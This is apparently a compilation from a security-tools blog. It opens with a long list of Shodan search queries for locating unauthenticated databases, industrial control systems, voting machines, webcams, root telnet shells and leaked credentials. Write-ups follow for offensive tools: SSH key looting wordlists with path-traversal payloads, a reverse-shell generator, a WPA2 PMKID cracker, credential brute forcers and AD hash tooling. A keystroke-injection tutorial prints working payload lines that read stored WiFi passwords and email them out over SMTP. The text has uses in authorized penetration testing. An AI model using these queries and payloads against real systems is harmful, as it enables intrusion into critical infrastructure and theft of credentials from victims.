    "MongoDB Server Information { "metrics":" "Set-Cookie: mongo-express=" "200 OK" "MongoDB Server Information" port:27017 -authentication

    Kibana dashboards without authentication

    kibana content-legth:217

    elastic

    port:9200 json port:"9200" all:elastic port:"9200" all:"elastic indices"

    Memcached

    "product:Memcached"

    CouchDB

    "product:CouchDB" port:"5984"+Server: "CouchDB/2.1.0"

    PostgreSQL

    "port:5432 PostgreSQL"

    Riak

    "port:8087 Riak"

    Redis

    "product:Redis"

    Cassandra

    "product:Cassandra"

    Industrial Control Systems

    Samsung Electronic Billboards

    "Server: Prismview Player"

    Gas Station Pump Controllers

    "in-tank inventory" port:10001

    Fuel Pumps connected to internet:

    No auth required to access CLI terminal. "privileged command" GET

    Automatic License Plate Readers

    P372 "ANPR enabled"

    Traffic Light Controllers / Red Light Cameras

    mikrotik streetlight

    Voting Machines in the United States

    "voter system serial" country:US

    Open ATM:

    May allow for ATM Access availability NCR Port:"161"

    Telcos Running Cisco Lawful Intercept Wiretaps

    "Cisco IOS" "ADVIPSERVICESK9_LI-M"

    Prison Pay Phones

    "[2J[H Encartele Confidential"

    Tesla PowerPack Charging Status

    http.title:"Tesla PowerPack System" http.component:"d3" -ga3ca4f2

    Electric Vehicle Chargers

    "Server: gSOAP/2.8" "Content-Length: 583"

    Maritime Satellites

    Shodan made a pretty sweet Ship Tracker that maps ship locations in real time, too!

    "Cobham SATCOM" OR ("Sailor" "VSAT")

    Submarine Mission Control Dashboards

    title:"Slocum Fleet Mission Control"

    CAREL PlantVisor Refrigeration Units

    "Server: CarelDataServer" "200 Document follows"

    Nordex Wind Turbine Farms

    http.title:"Nordex Control" "Windows 2000 5.0 x86" "Jetty/3.1 (JSP 1.1; Servlet 2.2; java 1.6.0_14)"

    C4 Max Commercial Vehicle GPS Trackers

    "[1m[35mWelcome on console"

    DICOM Medical X-Ray Machines

    Secured by default, thankfully, but these 1,700+ machines still have no business being on the internet.

    "DICOM Server Response" port:104

    GaugeTech Electricity Meters

    "Server: EIG Embedded Web Server" "200 Document follows"

    Siemens Industrial Automation

    "Siemens, SIMATIC" port:161

    Siemens HVAC Controllers

    "Server: Microsoft-WinCE" "Content-Length: 12581"

    Door / Lock Access Controllers

    "HID VertX" port:4070

    Railroad Management

    "log off" "select the appropriate"

    Tesla Powerpack charging Status:

    Helps to find the charging status of tesla powerpack. http.title:"Tesla PowerPack System" http.component:"d3" -ga3ca4f2

    XZERES Wind Turbine

    title:"xzeres wind"

    PIPS Automated License Plate Reader

    "html:"PIPS Technology ALPR Processors""

    Modbus

    "port:502"

    Niagara Fox

    "port:1911,4911 product:Niagara"

    GE-SRTP

    "port:18245,18246 product:"general electric""

    MELSEC-Q

    "port:5006,5007 product:mitsubishi"

    CODESYS

    "port:2455 operating system"

    S7

    "port:102"

    BACnet

    "port:47808"

    HART-IP

    "port:5094 hart-ip"

    Omron FINS

    "port:9600 response code"

    IEC 60870-5-104

    "port:2404 asdu address"

    DNP3

    "port:20000 source address"

    EtherNet/IP

    "port:44818"

    PCWorx

    "port:1962 PLC"

    Crimson v3.0

    "port:789 product:"Red Lion Controls"

    ProConOS

    "port:20547 PLC"

    Remote Desktop

    Unprotected VNC

    "authentication disabled" port:5900,5901 "authentication disabled" "RFB 003.008"

    Windows RDP

    99.99% are secured by a secondary Windows login screen.

    "\x03\x00\x00\x0b\x06\xd0\x00\x00\x124\x00"

    C2 Infrastructure

    CobaltStrike Servers

    product:"cobalt strike team server" product:"Cobalt Strike Beacon" ssl.cert.serial:146473198 - default certificate serial number ssl.jarm:07d14d16d21d21d07c42d41d00041d24a458a375eef0c576d23a7bab9a9fb1 ssl:foren.zik

    Brute Ratel

    http.html_hash:-1957161625 product:"Brute Ratel C4"

    Covenant

    ssl:"Covenant" http.component:"Blazor"

    Metasploit

    ssl:"MetasploitSelfSignedCA"

    Network Infrastructure

    Hacked routers:

    Routers which got compromised hacked-router-help-sos

    Redis open instances

    product:"Redis key-value store"

    Citrix:

    Find Citrix Gateway. title:"citrix gateway"

    Weave Scope Dashboards

    Command-line access inside Kubernetes pods and Docker containers, and real-time visualization/monitoring of the entire infrastructure.

    title:"Weave Scope" http.favicon.hash:567176827

    Jenkins CI

    "X-Jenkins" "Set-Cookie: JSESSIONID" http.title:"Dashboard"

    Jenkins:

    Jenkins Unrestricted Dashboard x-jenkins 200

    Docker APIs

    "Docker Containers:" port:2375

    Docker Private Registries

    "Docker-Distribution-Api-Version: registry" "200 OK" -gitlab

    Pi-hole Open DNS Servers

    "dnsmasq-pi-hole" "Recursion: enabled"

    DNS Servers with recursion

    "port: 53" Recursion: Enabled

    Already Logged-In as root via Telnet

    "root@" port:23 -login -password -name -Session

    Telnet Access:

    NO password required for telnet access. port:23 console gateway

    Polycom video-conference system no-auth shell

    "polycom command shell"

    NPort serial-to-eth / MoCA devices without password

    nport -keyin port:23

    Android Root Bridges

    A tangential result of Google's sloppy fractured update approach. ๐Ÿ™„ More information here.

    "Android Debug Bridge" "Device" port:5555

    Lantronix Serial-to-Ethernet Adapter Leaking Telnet Passwords

    Lantronix password port:30718 -secured

    Citrix Virtual Apps

    "Citrix Applications:" port:1604

    Cisco Smart Install

    Vulnerable (kind of "by design," but especially when exposed).

    "smart install client active"

    PBX IP Phone Gateways

    PBX "gateway console" -password port:23

    Polycom Video Conferencing

    http.title:"- Polycom" "Server: lighttpd" "Polycom Command Shell" -failed port:23

    Telnet Configuration:

    "Polycom Command Shell" -failed port:23

    Example: Polycom Video Conferencing

    Bomgar Help Desk Portal

    "Server: Bomgar" "200 OK"

    Intel Active Management CVE-2017-5689

    "Intel(R) Active Management Technology" port:623,664,16992,16993,16994,16995 "Active Management Technology"

    HP iLO 4 CVE-2017-12542

    HP-ILO-4 !"HP-ILO-4/2.53" !"HP-ILO-4/2.54" !"HP-ILO-4/2.55" !"HP-ILO-4/2.60" !"HP-ILO-4/2.61" !"HP-ILO-4/2.62" !"HP-iLO-4/2.70" port:1900

    Lantronix ethernet adapter's admin interface without password

    "Press Enter for Setup Mode port:9999"

    Wifi Passwords:

    Helps to find the cleartext wifi passwords in Shodan. html:"def_wirelesspassword"

    Misconfigured Wordpress Sites:

    The wp-config.php if accessed can give out the database credentials. http.html:"* The wp-config.php creation script uses this file"

    Outlook Web Access:

    Exchange 2007

    "x-owa-version" "IE=EmulateIE7" "Server: Microsoft-IIS/7.0"

    Exchange 2010

    "x-owa-version" "IE=EmulateIE7" http.favicon.hash:442749392

    Exchange 2013 / 2016

    "X-AspNet-Version" http.title:"Outlook" -"x-owa-version"

    Lync / Skype for Business

    "X-MS-Server-Fqdn"

    Network Attached Storage (NAS)

    SMB (Samba) File Shares

    Produces ~500,000 results...narrow down by adding "Documents" or "Videos", etc.

    "Authentication: disabled" port:445

    Specifically domain controllers:

    "Authentication: disabled" NETLOGON SYSVOL -unix port:445

    Concerning default network shares of QuickBooks files:

    "Authentication: disabled" "Shared this folder to access QuickBooks files OverNetwork" -unix port:445

    FTP Servers with Anonymous Login

    "220" "230 Login successful." port:21

    Iomega / LenovoEMC NAS Drives

    "Set-Cookie: iomega=" -"manage/login.html" -http.title:"Log In"

    Buffalo TeraStation NAS Drives

    Redirecting sencha port:9000

    Logitech Media Servers

    "Server: Logitech Media Server" "200 OK"

    Example: Logitech Media Servers

    Plex Media Servers

    "X-Plex-Protocol" "200 OK" port:32400

    Tautulli / PlexPy Dashboards

    "CherryPy/5.1.0" "/home"

    Home router attached USB

    "IPC$ all storage devices"

    Webcams

    Generic camera search

    title:camera

    Webcams with screenshots

    webcam has_screenshot:true

    D-Link webcams

    "d-Link Internet Camera, 200 OK"

    Hipcam

    "Hipcam RealServer/V1.0"

    Yawcams

    "Server: yawcam" "Mime-Type: text/html"

    webcamXP/webcam7

    ("webcam 7" OR "webcamXP") http.component:"mootools" -401

    Android IP Webcam Server

    "Server: IP Webcam Server" "200 OK"

    Security DVRs

    html:"DVR_H264 ActiveX"

    Surveillance Cams:

    With username:admin and password: :P NETSurveillance uc-httpd Server: uc-httpd 1.0.0

    Printers & Copiers:

    HP Printers

    "Serial Number:" "Built:" "Server: HP HTTP"

    Xerox Copiers/Printers

    ssl:"Xerox Generic Root"

    Epson Printers

    "SERVER: EPSON_Linux UPnP" "200 OK"

    "Server: EPSON-HTTP" "200 OK"

    Canon Printers

    "Server: KS_HTTP" "200 OK"

    "Server: CANON HTTP Server"

    Home Devices

    Yamaha Stereos

    "Server: AV_Receiver" "HTTP/1.1 406"

    Apple AirPlay Receivers

    Apple TVs, HomePods, etc.

    "\x08_airplay" port:5353

    Chromecasts / Smart TVs

    "Chromecast:" port:8008

    Crestron Smart Home Controllers

    "Model: PYNG-HUB"

    Random Stuff

    Calibre libraries

    "Server: calibre" http.status:200 http.title:calibre

    OctoPrint 3D Printer Controllers

    title:"OctoPrint" -title:"Login" http.favicon.hash:1307375944

    Etherium Miners

    "ETH - Total speed"

    Apache Directory Listings

    Substitute .pem with any extension or a filename like phpinfo.php.

    http.title:"Index of /" http.html:".pem"

    Misconfigured WordPress

    Exposed wp-config.php files containing database credentials.

    http.html:"* The wp-config.php creation script uses this file"

    Too Many Minecraft Servers

    "Minecraft Server" "protocol 340" port:25565

    Literally Everything in North Korea

    net:175.45.176.0/22,210.52.109.0/24,77.94.35.0/24



    SSH-Private-Key-Looting-Wordlists - A Collection Of Wordlists To Aid In Locating Or Brute-Forcing SSH Private Key File Names

    By: Zion3R


    SSH Private Key Looting Wordlists. A Collection Of Wordlists To Aid In Locating Or Brute-Forcing SSH Private Key File Names.


    LFI for Lateral Movement? Gain SSH Access?
    ?file=../../../../../../../../home/user/.ssh/id_rsa
    ?file=../../../../../../../../home/user/.ssh/id_rsa-cert

    SSH Private Key Looting Wordlists ๐Ÿ”’๐Ÿ—๏ธ

    This repository contains a collection of wordlists to aid in locating or brute-forcing SSH private key file names. These wordlists can be useful for penetration testers, security researchers, and anyone else interested in assessing the security of SSH configurations.


    Wordlist Files ๐Ÿ“
    • ssh-priv-key-loot-common.txt: Default and common naming conventions for SSH private key files.
    • ssh-priv-key-loot-medium.txt: Probable file names without backup file extensions.
    • ssh-priv-key-loot-extended.txt: Probable file names with backup file extensions.
    • ssh-priv-key-loot-*_w_gui.txt: Includes file names simulating Ctrl+C and Ctrl+V on servers with a GUI.

    Usage ๐Ÿš€

    These wordlists can be used with tools such as Burp Intruder, Hydra, custom python scripts, or any other bruteforcing tool that supports custom wordlists. They can help expand the scope of your brute-forcing or enumeration efforts when targeting SSH private key files.


    Acknowledgements ๐Ÿ™

    This wordlist repository was inspired by John Hammond in his vlog "Don't Forget This One Hacking Trick."


    Disclaimer โš ๏ธ

    Please use these wordlists responsibly and only on systems you are authorized to test. Unauthorized use is illegal.



    WEB-Wordlist-Generator - Creates Related Wordlists After Scanning Your Web Applications

    By: Zion3R


    WEB-Wordlist-Generator scans your web applications and creates related wordlists to take preliminary countermeasures against cyber attacks.


    Done
    • [x] Scan Static Files.
    • [ ] Scan Metadata Of Public Documents (pdf,doc,xls,ppt,docx,pptx,xlsx etc.)
    • [ ] Create a New Associated Wordlist with the Wordlist Given as a Parameter.

    Installation

    From Git
    git clone https://github.com/OsmanKandemir/web-wordlist-generator.git
    cd web-wordlist-generator && pip3 install -r requirements.txt
    python3 generator.py -d target-web.com

    From Dockerfile

    You can run this application on a container after build a Dockerfile.

    docker build -t webwordlistgenerator .
    docker run webwordlistgenerator -d target-web.com -o

    From DockerHub

    You can run this application on a container after pulling from DockerHub.

    docker pull osmankandemir/webwordlistgenerator:v1.0
    docker run osmankandemir/webwordlistgenerator:v1.0 -d target-web.com -o

    Usage
    -d DOMAINS [DOMAINS], --domains DOMAINS [DOMAINS] Input Multi or Single Targets. --domains target-web1.com target-web2.com
    -p PROXY, --proxy PROXY Use HTTP proxy. --proxy 0.0.0.0:8080
    -a AGENT, --agent AGENT Use agent. --agent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)'
    -o PRINT, --print PRINT Use Print outputs on terminal screen.



    Secbutler - The Perfect Butler For Pentesters, Bug-Bounty Hunters And Security Researchers

    By: Zion3R

    Essential utilities for pentester, bug-bounty hunters and security researchers

    secbutler is a utility tool made for pentesters, bug-bounty hunters and security researchers that contains all the most used and tedious stuff commonly used while performing cybersecurity activities (like installing sec-related tools, retrieving commands for revshells, serving common payloads, obtaining a working proxy, managing wordlists and so forth).

    The goal is to obtain a tool that meets the requirements of the community, therefore suggestions and PRs are very welcome!


    Features
    • Generate a reverse shell command
    • Obtain proxy
    • Download & deploy common payloads
    • Obtain reverse shell listener command
    • Generate bash install script for common tools
    • Generate bash download script for Wordlists
    • Read common cheatsheets and payloads

    Usage
    secbutler -h

    This will display the help for the tool

                       __          __  __
    ________ _____/ /_ __ __/ /_/ /__ _____
    / ___/ _ \/ ___/ __ \/ / / / __/ / _ \/ ___/
    (__ ) __/ /__/ /_/ / /_/ / /_/ / __/ /
    /____/\___/\___/_.___/\__,_/\__/_/\___/_/

    v0.1.9 - https://github.com/groundsec/secbutler

    Essential utilities for pentester, bug-bounty hunters and security researchers

    Usage:
    secbutler [flags]
    secbutler [command]

    Available Commands:
    cheatsheet Read common cheatsheets & payloads
    help Help about any command
    listener Obtain the command to start a reverse shell listener
    payloads Obtain and serve common payloads
    proxy Obtain a random proxy from FreeProxy
    revshell Obtain the command for a reverse shell
    tools Generate a install script for the most common cybersecurity tools
    version Print the current version
    wordlists Generate a download script for the most common wordlists

    Flags:
    -h, --help help for secbutler

    Use "secbutler [command] --help" for more information about a command.



    Installation

    Run the following command to install the latest version:

    go install github.com/groundsec/secbutler@latest

    Or you can simply grab an executable from the Releases page.


    License

    secbutler is made with ๐Ÿ–ค by the GroundSec team and released under the MIT LICENSE.



    Pmkidcracker - A Tool To Crack WPA2 Passphrase With PMKID Value Without Clients Or De-Authentication

    By: Zion3R


    This program is a tool written in Python to recover the pre-shared key of a WPA2 WiFi network without any de-authentication or requiring any clients to be on the network. It targets the weakness of certain access points advertising the PMKID value in EAPOL message 1.


    Program Usage

    python pmkidcracker.py -s <SSID> -ap <APMAC> -c <CLIENTMAC> -p <PMKID> -w <WORDLIST> -t <THREADS(Optional)>

    NOTE: apmac, clientmac, pmkid must be a hexstring, e.g b8621f50edd9

    How PMKID is Calculated

    The two main formulas to obtain a PMKID are as follows:

    1. Pairwise Master Key (PMK) Calculation: passphrase + salt(ssid) => PBKDF2(HMAC-SHA1) of 4096 iterations
    2. PMKID Calculation: HMAC-SHA1[pmk + ("PMK Name" + bssid + clientmac)]

    This is just for understanding, both are already implemented in find_pw_chunk and calculate_pmkid.

    Obtaining the PMKID

    Below are the steps to obtain the PMKID manually by inspecting the packets in WireShark.

    *You may use Hcxtools or Bettercap to quickly obtain the PMKID without the below steps. The manual way is for understanding.

    To obtain the PMKID manually from wireshark, put your wireless antenna in monitor mode, start capturing all packets with airodump-ng or similar tools. Then connect to the AP using an invalid password to capture the EAPOL 1 handshake message. Follow the next 3 steps to obtain the fields needed for the arguments.

    Open the pcap in WireShark:

    • Filter with wlan_rsna_eapol.keydes.msgnr == 1 in WireShark to display only EAPOL message 1 packets.
    • In EAPOL 1 pkt, Expand IEEE 802.11 QoS Data Field to obtain AP MAC, Client MAC
    • In EAPOL 1 pkt, Expand 802.1 Authentication > WPA Key Data > Tag: Vendor Specific > PMKID is below

    If access point is vulnerable, you should see the PMKID value like the below screenshot:

    Demo Run

    Disclaimer

    This tool is for educational and testing purposes only. Do not use it to exploit the vulnerability on any network that you do not own or have permission to test. The authors of this script are not responsible for any misuse or damage caused by its use.



    WiFi-password-stealer - Simple Windows And Linux Keystroke Injection Tool That Exfiltrates Stored WiFi Data (SSID And Password)

    By: Zion3R


    Have you ever watched a film where a hacker would plug-in, seemingly ordinary, USB drive into a victim's computer and steal data from it? - A proper wet dream for some.

    Disclaimer: All content in this project is intended for security research purpose only.

    ย 

    Introduction

    During the summer of 2022, I decided to do exactly that, to build a device that will allow me to steal data from a victim's computer. So, how does one deploy malware and exfiltrate data? In the following text I will explain all of the necessary steps, theory and nuances when it comes to building your own keystroke injection tool. While this project/tutorial focuses on WiFi passwords, payload code could easily be altered to do something more nefarious. You are only limited by your imagination (and your technical skills).

    Setup

    After creating pico-ducky, you only need to copy the modified payload (adjusted for your SMTP details for Windows exploit and/or adjusted for the Linux password and a USB drive name) to the RPi Pico.

    Prerequisites

    • Physical access to victim's computer.

    • Unlocked victim's computer.

    • Victim's computer has to have an internet access in order to send the stolen data using SMTP for the exfiltration over a network medium.

    • Knowledge of victim's computer password for the Linux exploit.

    Requirements - What you'll need


    • Raspberry Pi Pico (RPi Pico)
    • Micro USB to USB Cable
    • Jumper Wire (optional)
    • pico-ducky - Transformed RPi Pico into a USB Rubber Ducky
    • USB flash drive (for the exploit over physical medium only)


    Note:

    • It is possible to build this tool using Rubber Ducky, but keep in mind that RPi Pico costs about $4.00 and the Rubber Ducky costs $80.00.

    • However, while pico-ducky is a good and budget-friedly solution, Rubber Ducky does offer things like stealthiness and usage of the lastest DuckyScript version.

    • In order to use Ducky Script to write the payload on your RPi Pico you first need to convert it to a pico-ducky. Follow these simple steps in order to create pico-ducky.

    Keystroke injection tool

    Keystroke injection tool, once connected to a host machine, executes malicious commands by running code that mimics keystrokes entered by a user. While it looks like a USB drive, it acts like a keyboard that types in a preprogrammed payload. Tools like Rubber Ducky can type over 1,000 words per minute. Once created, anyone with physical access can deploy this payload with ease.

    Keystroke injection

    The payload uses STRING command processes keystroke for injection. It accepts one or more alphanumeric/punctuation characters and will type the remainder of the line exactly as-is into the target machine. The ENTER/SPACE will simulate a press of keyboard keys.

    Delays

    We use DELAY command to temporarily pause execution of the payload. This is useful when a payload needs to wait for an element such as a Command Line to load. Delay is useful when used at the very beginning when a new USB device is connected to a targeted computer. Initially, the computer must complete a set of actions before it can begin accepting input commands. In the case of HIDs setup time is very short. In most cases, it takes a fraction of a second, because the drivers are built-in. However, in some instances, a slower PC may take longer to recognize the pico-ducky. The general advice is to adjust the delay time according to your target.

    Exfiltration

    Data exfiltration is an unauthorized transfer of data from a computer/device. Once the data is collected, adversary can package it to avoid detection while sending data over the network, using encryption or compression. Two most common way of exfiltration are:

    • Exfiltration over the network medium.
      • This approach was used for the Windows exploit. The whole payload can be seen here.

    • Exfiltration over a physical medium.
      • This approach was used for the Linux exploit. The whole payload can be seen here.

    Windows exploit

    In order to use the Windows payload (payload1.dd), you don't need to connect any jumper wire between pins.

    Sending stolen data over email

    Once passwords have been exported to the .txt file, payload will send the data to the appointed email using Yahoo SMTP. For more detailed instructions visit a following link. Also, the payload template needs to be updated with your SMTP information, meaning that you need to update RECEIVER_EMAIL, SENDER_EMAIL and yours email PASSWORD. In addition, you could also update the body and the subject of the email.

    STRING Send-MailMessage -To 'RECEIVER_EMAIL' -from 'SENDER_EMAIL' -Subject "Stolen data from PC" -Body "Exploited data is stored in the attachment." -Attachments .\wifi_pass.txt -SmtpServer 'smtp.mail.yahoo.com' -Credential $(New-Object System.Management.Automation.PSCredential -ArgumentList 'SENDER_EMAIL', $('PASSWORD' | ConvertTo-SecureString -AsPlainText -Force)) -UseSsl -Port 587

    ๏“ Note:

    • After sending data over the email, the .txt file is deleted.

    • You can also use some an SMTP from another email provider, but you should be mindful of SMTP server and port number you will write in the payload.

    • Keep in mind that some networks could be blocking usage of an unknown SMTP at the firewall.

    Linux exploit

    In order to use the Linux payload (payload2.dd) you need to connect a jumper wire between GND and GPIO5 in order to comply with the code in code.py on your RPi Pico. For more information about how to setup multiple payloads on your RPi Pico visit this link.

    Storing stolen data to USB flash drive

    Once passwords have been exported from the computer, data will be saved to the appointed USB flash drive. In order for this payload to function properly, it needs to be updated with the correct name of your USB drive, meaning you will need to replace USBSTICK with the name of your USB drive in two places.

    STRING echo -e "Wireless_Network_Name Password\n--------------------- --------" > /media/$(hostname)/USBSTICK/wifi_pass.txt

    STRING done >> /media/$(hostname)/USBSTICK/wifi_pass.txt

    In addition, you will also need to update the Linux PASSWORD in the payload in three places. As stated above, in order for this exploit to be successful, you will need to know the victim's Linux machine password, which makes this attack less plausible.

    STRING echo PASSWORD | sudo -S echo

    STRING do echo -e "$(sudo <<< PASSWORD cat "$FILE" | grep -oP '(?<=ssid=).*') \t\t\t\t $(sudo <<< PASSWORD cat "$FILE" | grep -oP '(?<=psk=).*')"

    Bash script

    In order to run the wifi_passwords_print.sh script you will need to update the script with the correct name of your USB stick after which you can type in the following command in your terminal:

    echo PASSWORD | sudo -S sh wifi_passwords_print.sh USBSTICK

    where PASSWORD is your account's password and USBSTICK is the name for your USB device.

    Quick overview of the payload

    NetworkManager is based on the concept of connection profiles, and it uses plugins for reading/writing data. It uses .ini-style keyfile format and stores network configuration profiles. The keyfile is a plugin that supports all the connection types and capabilities that NetworkManager has. The files are located in /etc/NetworkManager/system-connections/. Based on the keyfile format, the payload uses the grep command with regex in order to extract data of interest. For file filtering, a modified positive lookbehind assertion was used ((?<=keyword)). While the positive lookbehind assertion will match at a certain position in the string, sc. at a position right after the keyword without making that text itself part of the match, the regex (?<=keyword).* will match any text after the keyword. This allows the payload to match the values after SSID and psk (pre-shared key) keywords.

    For more information about NetworkManager here is some useful links:

    Exfiltrated data formatting

    Below is an example of the exfiltrated and formatted data from a victim's machine in a .txt file.

    Wireless_Network_Name Password
    --------------------- --------
    WLAN1 pass1
    WLAN2 pass2
    WLAN3 pass3

    USB Mass Storage Device Problem

    One of the advantages of Rubber Ducky over RPi Pico is that it doesn't show up as a USB mass storage device once plugged in. Once plugged into the computer, all the machine sees it as a USB keyboard. This isn't a default behavior for the RPi Pico. If you want to prevent your RPi Pico from showing up as a USB mass storage device when plugged in, you need to connect a jumper wire between pin 18 (GND) and pin 20 (GPIO15). For more details visit this link.

    ๏’ก Tip:

    • Upload your payload to RPi Pico before you connect the pins.
    • Don't solder the pins because you will probably want to change/update the payload at some point.

    Payload Writer

    When creating a functioning payload file, you can use the writer.py script, or you can manually change the template file. In order to run the script successfully you will need to pass, in addition to the script file name, a name of the OS (windows or linux) and the name of the payload file (e.q. payload1.dd). Below you can find an example how to run the writer script when creating a Windows payload.

    python3 writer.py windows payload1.dd

    Limitations/Drawbacks

    • This pico-ducky currently works only on Windows OS.

    • This attack requires physical access to an unlocked device in order to be successfully deployed.

    • The Linux exploit is far less likely to be successful, because in order to succeed, you not only need physical access to an unlocked device, you also need to know the admins password for the Linux machine.

    • Machine's firewall or network's firewall may prevent stolen data from being sent over the network medium.

    • Payload delays could be inadequate due to varying speeds of different computers used to deploy an attack.

    • The pico-ducky device isn't really stealthy, actually it's quite the opposite, it's really bulky especially if you solder the pins.

    • Also, the pico-ducky device is noticeably slower compared to the Rubber Ducky running the same script.

    • If the Caps Lock is ON, some of the payload code will not be executed and the exploit will fail.

    • If the computer has a non-English Environment set, this exploit won't be successful.

    • Currently, pico-ducky doesn't support DuckyScript 3.0, only DuckyScript 1.0 can be used. If you need the 3.0 version you will have to use the Rubber Ducky.

    To-Do List

    • Fix Caps Lock bug.
    • Fix non-English Environment bug.
    • Obfuscate the command prompt.
    • Implement exfiltration over a physical medium.
    • Create a payload for Linux.
    • Encode/Encrypt exfiltrated data before sending it over email.
    • Implement indicator of successfully completed exploit.
    • Implement command history clean-up for Linux exploit.
    • Enhance the Linux exploit in order to avoid usage of sudo.


    Legba - A Multiprotocol Credentials Bruteforcer / Password Sprayer And Enumerator

    By: Zion3R


    Legba is a multiprotocol credentials bruteforcer / password sprayer and enumerator built with Rust and the Tokio asynchronous runtime in order to achieve better performances and stability while consuming less resources than similar tools (see the benchmark below).

    For the building instructions, usage and the complete list of options check the project Wiki.


    Supported Protocols/Features:

    AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM and Solace), Cassandra/ScyllaDB, DNS subdomain enumeration, FTP, HTTP (basic authentication, NTLMv1, NTLMv2, multipart form, custom requests with CSRF support, files/folders enumeration, virtual host enumeration), IMAP, Kerberos pre-authentication and user enumeration, LDAP, MongoDB, MQTT, Microsoft SQL, MySQL, Oracle, PostgreSQL, POP3, RDP, Redis, SSH / SFTP, SMTP, STOMP (ActiveMQ, RabbitMQ, HornetQ and OpenMQ), TCP port scanning, Telnet, VNC.

    Benchmark

    Here's a benchmark of legba versus thc-hydra running some common plugins, both targeting the same test servers on localhost. The benchmark has been executed on a macOS laptop with an M1 Max CPU, using a wordlist of 1000 passwords with the correct one being on the last line. Legba was compiled in release mode, Hydra compiled and installed via brew formula.

    Far from being an exhaustive benchmark (some legba features are simply not supported by hydra, such as CSRF token grabbing), this table still gives a clear idea of how using an asynchronous runtime can drastically improve performances.

    Test Name Hydra Tasks Hydra Time Legba Tasks Legba Time
    HTTP basic auth 16 7.100s 10 1.560s (๏š€ 4.5x faster)
    HTTP POST login (wordpress) 16 14.854s 10 5.045s (๏š€ 2.9x faster)
    SSH 16 7m29.85s * 10 8.150s (๏š€ 55.1x faster)
    MySQL 4 ** 9.819s 4 ** 2.542s (๏š€ 3.8x faster)
    Microsoft SQL 16 7.609s 10 4.789s (๏š€ 1.5x faster)

    * While this result would suggest a default delay between connection attempts used by Hydra. I've tried to study the source code to find such delay but to my knowledge there's none. For some reason it's simply very slow.
    ** For MySQL hydra automatically reduces the amount of tasks to 4, therefore legba's concurrency level has been adjusted to 4 as well.

    License

    Legba is released under the GPL 3 license. To see the licenses of the project dependencies, install cargo license with cargo install cargo-license and then run cargo license.



    KnowsMore - A Swiss Army Knife Tool For Pentesting Microsoft Active Directory (NTLM Hashes, BloodHound, NTDS And DCSync)

    By: Zion3R


    KnowsMore officially supports Python 3.8+.

    Main features

    • Import NTLM Hashes from .ntds output txt file (generated by CrackMapExec or secretsdump.py)
    • Import NTLM Hashes from NTDS.dit and SYSTEM
    • Import Cracked NTLM hashes from hashcat output file
    • Import BloodHound ZIP or JSON file
    • BloodHound importer (import JSON to Neo4J without BloodHound UI)
    • Analyse the quality of password (length , lower case, upper case, digit, special and latin)
    • Analyse similarity of password with company and user name
    • Search for users, passwords and hashes
    • Export all cracked credentials direct to BloodHound Neo4j Database as 'owned object'
    • Other amazing features...

    Getting stats

    knowsmore --stats

    This command will produce several statistics about the passwords like the output bellow

    weak passwords by company name similarity +-------+--------------+---------+----------------------+-------+ | top | password | score | company_similarity | qty | |-------+--------------+---------+----------------------+-------| | 1 | company123 | 7024 | 80 | 1111 | | 2 | Company123 | 5209 | 80 | 824 | | 3 | company | 3674 | 100 | 553 | | 4 | Company@10 | 2080 | 80 | 329 | | 5 | company10 | 1722 | 86 | 268 | | 6 | Company@2022 | 1242 | 71 | 202 | | 7 | Company@2024 | 1015 | 71 | 165 | | 8 | Company2022 | 978 | 75 | 157 | | 9 | Company10 | 745 | 86 | 116 | | 10 | Company21 | 707 | 86 | 110 | +-------+--------------+---------+----------------------+-------+ " dir="auto">
    KnowsMore v0.1.4 by Helvio Junior
    Active Directory, BloodHound, NTDS hashes and Password Cracks correlation tool
    https://github.com/helviojunior/knowsmore

    [+] Startup parameters
    command line: knowsmore --stats
    module: stats
    database file: knowsmore.db

    [+] start time 2023-01-11 03:59:20
    [?] General Statistics
    +-------+----------------+-------+
    | top | description | qty |
    |-------+----------------+-------|
    | 1 | Total Users | 95369 |
    | 2 | Unique Hashes | 74299 |
    | 3 | Cracked Hashes | 23177 |
    | 4 | Cracked Users | 35078 |
    +-------+----------------+-------+

    [?] General Top 10 passwords
    +-------+-------------+-------+
    | top | password | qty |
    |-------+-------------+-------|
    | 1 | password | 1111 |
    | 2 | 123456 | 824 |
    | 3 | 123456789 | 815 |
    | 4 | guest | 553 |
    | 5 | qwerty | 329 |
    | 6 | 12345678 | 277 |
    | 7 | 111111 | 268 |
    | 8 | 12345 | 202 |
    | 9 | secret | 170 |
    | 10 | sec4us | 165 |
    +-------+-------------+-------+

    [?] Top 10 weak passwords by company name similarity
    +-------+--------------+---------+----------------------+-------+
    | top | password | score | company_similarity | qty |
    |-------+--------------+---------+----------------------+-------|
    | 1 | company123 | 7024 | 80 | 1111 |
    | 2 | Company123 | 5209 | 80 | 824 |
    | 3 | company | 3674 | 100 | 553 |
    | 4 | Company@10 | 2080 | 80 | 329 |
    | 5 | company10 | 1722 | 86 | 268 |
    | 6 | Company@2022 | 1242 | 71 | 202 |
    | 7 | Company@2024 | 1015 | 71 | 165 |
    | 8 | Company2022 | 978 | 75 | 157 |
    | 9 | Company10 | 745 | 86 | 116 |
    | 10 | Company21 | 707 | 86 | 110 |
    +-------+--------------+---------+----------------------+-------+

    Installation

    Simple

    pip3 install --upgrade knowsmore

    Note: If you face problem with dependency version Check the Virtual ENV file

    Execution Flow

    There is no an obligation order to import data, but to get better correlation data we suggest the following execution flow:

    1. Create database file
    2. Import BloodHound files
      1. Domains
      2. GPOs
      3. OUs
      4. Groups
      5. Computers
      6. Users
    3. Import NTDS file
    4. Import cracked hashes

    Create database file

    All data are stored in a SQLite Database

    knowsmore --create-db

    Importing BloodHound files

    We can import all full BloodHound files into KnowsMore, correlate data, and sync it to Neo4J BloodHound Database. So you can use only KnowsMore to import JSON files directly into Neo4j database instead of use extremely slow BloodHound User Interface

    # Bloodhound ZIP File
    knowsmore --bloodhound --import-data ~/Desktop/client.zip

    # Bloodhound JSON File
    knowsmore --bloodhound --import-data ~/Desktop/20220912105336_users.json

    Note: The KnowsMore is capable to import BloodHound ZIP File and JSON files, but we recommend to use ZIP file, because the KnowsMore will automatically order the files to better data correlation.

    Sync data to Neo4j BloodHound database

    # Bloodhound ZIP File
    knowsmore --bloodhound --sync 10.10.10.10:7687 -d neo4j -u neo4j -p 12345678

